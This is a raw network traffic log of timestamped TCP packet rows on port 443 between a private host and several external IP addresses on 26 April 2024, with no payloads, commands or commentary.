Apr 26, 2024 22:18:26.096968889 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.097002983 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.097043991 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.097141027 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.097188950 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.097474098 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.097536087 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.097596884 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.097641945 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.097693920 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.097743034 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.097748995 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.097788095 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.097827911 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.098057032 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.098074913 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.116126060 CEST	443	49733	20.114.59.183	192.168.2.17
Apr 26, 2024 22:18:26.136764050 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.136873007 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.211622953 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.211754084 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.212433100 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.212500095 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.212745905 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.212804079 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.214677095 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.214772940 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.214869976 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.214926958 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.217931986 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.218010902 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.222208023 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.222291946 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.222676039 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.222738028 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.223283052 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.223344088 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.223531008 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.223586082 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.224957943 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.225018978 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.225192070 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.225255013 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.225416899 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.225476027 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.225719929 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.225776911 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.225842953 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.225897074 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.226116896 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.226165056 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.226228952 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.226284981 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.226603031 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.226661921 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.226938009 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.226998091 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.227056980 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.227103949 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.227369070 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.227396011 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.227427006 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.227432966 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.227452040 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.227475882 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.231690884 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.231698990 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.231740952 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.231781960 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.231791019 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.231832981 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.231842995 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.232630968 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.232645988 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.232722998 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.232728958 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.232743025 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.232764006 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.233484030 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.233498096 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.233576059 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.233582020 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.233623028 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.234360933 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.234374046 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.234443903 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.234448910 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.234482050 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.235305071 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.235325098 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.235400915 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.235409975 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.235455036 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.236336946 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.236351013 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.236427069 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.236433029 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.236471891 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.238878012 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.238892078 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.238971949 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.238977909 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.239022017 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.241597891 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.241611958 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.241684914 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.241691113 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.241734028 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.264744997 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.264763117 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.264858961 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.264866114 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.264903069 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.336513996 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.336529970 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.336635113 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.336642981 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.336683989 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.339035988 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.339049101 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.339148998 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.339154005 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.339195967 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.341336966 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.341351986 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.341418028 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.341423988 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.341464043 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.343760967 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.343779087 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.343844891 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.343852043 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.343898058 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.345470905 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.345503092 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.345536947 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.345542908 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.345562935 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.345577002 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.345603943 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.345890999 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.345901012 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.375879049 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.375911951 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.376000881 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.376261950 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.376275063 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.399941921 CEST	49737	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:26.399971962 CEST	443	49737	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:26.400069952 CEST	49737	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:26.400279999 CEST	49737	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:26.400290966 CEST	443	49737	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:26.637947083 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.638214111 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.638231993 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.638711929 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.639018059 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.639105082 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.639200926 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.657386065 CEST	443	49737	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:26.657684088 CEST	49737	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:26.657704115 CEST	443	49737	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:26.658018112 CEST	443	49737	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:26.658360004 CEST	49737	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:26.658411026 CEST	443	49737	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:26.658535004 CEST	49737	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:26.679409027 CEST	443	49733	20.114.59.183	192.168.2.17
Apr 26, 2024 22:18:26.679438114 CEST	443	49733	20.114.59.183	192.168.2.17
Apr 26, 2024 22:18:26.679483891 CEST	443	49733	20.114.59.183	192.168.2.17
Apr 26, 2024 22:18:26.679512978 CEST	49733	443	192.168.2.17	20.114.59.183
Apr 26, 2024 22:18:26.679541111 CEST	443	49733	20.114.59.183	192.168.2.17
Apr 26, 2024 22:18:26.679552078 CEST	49733	443	192.168.2.17	20.114.59.183
Apr 26, 2024 22:18:26.679585934 CEST	49733	443	192.168.2.17	20.114.59.183
Apr 26, 2024 22:18:26.679651022 CEST	443	49733	20.114.59.183	192.168.2.17
Apr 26, 2024 22:18:26.679694891 CEST	443	49733	20.114.59.183	192.168.2.17
Apr 26, 2024 22:18:26.679713011 CEST	49733	443	192.168.2.17	20.114.59.183
Apr 26, 2024 22:18:26.679721117 CEST	443	49733	20.114.59.183	192.168.2.17
Apr 26, 2024 22:18:26.679757118 CEST	443	49733	20.114.59.183	192.168.2.17
Apr 26, 2024 22:18:26.679764032 CEST	49733	443	192.168.2.17	20.114.59.183
Apr 26, 2024 22:18:26.679809093 CEST	49733	443	192.168.2.17	20.114.59.183
Apr 26, 2024 22:18:26.682243109 CEST	49733	443	192.168.2.17	20.114.59.183
Apr 26, 2024 22:18:26.682262897 CEST	443	49733	20.114.59.183	192.168.2.17
Apr 26, 2024 22:18:26.682274103 CEST	49733	443	192.168.2.17	20.114.59.183
Apr 26, 2024 22:18:26.682280064 CEST	443	49733	20.114.59.183	192.168.2.17
Apr 26, 2024 22:18:26.684123039 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.704113960 CEST	443	49737	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:26.952940941 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.952987909 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.953026056 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.953032970 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.953052998 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.953089952 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.953093052 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.953103065 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.953155994 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.953161001 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.954519033 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.954560995 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.954565048 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.954574108 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.954617023 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.954621077 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.954663992 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.954699993 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.954704046 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.956465960 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.956506014 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.956558943 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.956563950 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.956609964 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.956612110 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.956623077 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.956677914 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.957026005 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.959060907 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.959103107 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.959124088 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.959127903 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.959168911 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.959186077 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.959189892 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.959245920 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.959249020 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.961129904 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.961173058 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.961184978 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.961189032 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.961247921 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.961270094 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.963313103 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.963357925 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.963367939 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.963371992 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.963413954 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.963417053 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.965090990 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.965141058 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.965151072 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.965154886 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.965204954 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.965214014 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.965219021 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.965266943 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.965270996 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.966820955 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.966859102 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.966873884 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.966878891 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.966922998 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.968746901 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.968818903 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.082079887 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.082165956 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.083118916 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.083185911 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.083910942 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.083949089 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.083978891 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.083985090 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.083996058 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.084033012 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.084435940 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.084495068 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.084500074 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.084542990 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.085639000 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.085705996 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.087186098 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.087229013 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.087260008 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.087263107 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.087285042 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.088906050 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.088967085 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.088970900 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.089009047 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.090642929 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.090703011 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.090842009 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.090903997 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.095252991 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.095312119 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.095381975 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.095432997 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.096616983 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.096684933 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.096796036 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.096852064 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.096977949 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.097054005 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.097502947 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.097567081 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.208425999 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.208478928 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.208530903 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.208548069 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.208590984 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.208601952 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.208681107 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.208684921 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.209278107 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.209340096 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.209343910 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.209397078 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.209713936 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.209774971 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.210747957 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.210813046 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.211927891 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.211997032 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.212528944 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.212591887 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.212703943 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.212759018 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.213073969 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.213116884 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.213136911 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.213140965 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.213156939 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.213898897 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.213957071 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.213960886 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.213995934 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.214066029 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.214114904 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.215034008 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.215097904 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.215837955 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.215883970 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.215979099 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.215979099 CEST	49736	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:27.215984106 CEST	443	49736	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:27.216034889 CEST	49736	443	192.168.2.17	172.67.223.170
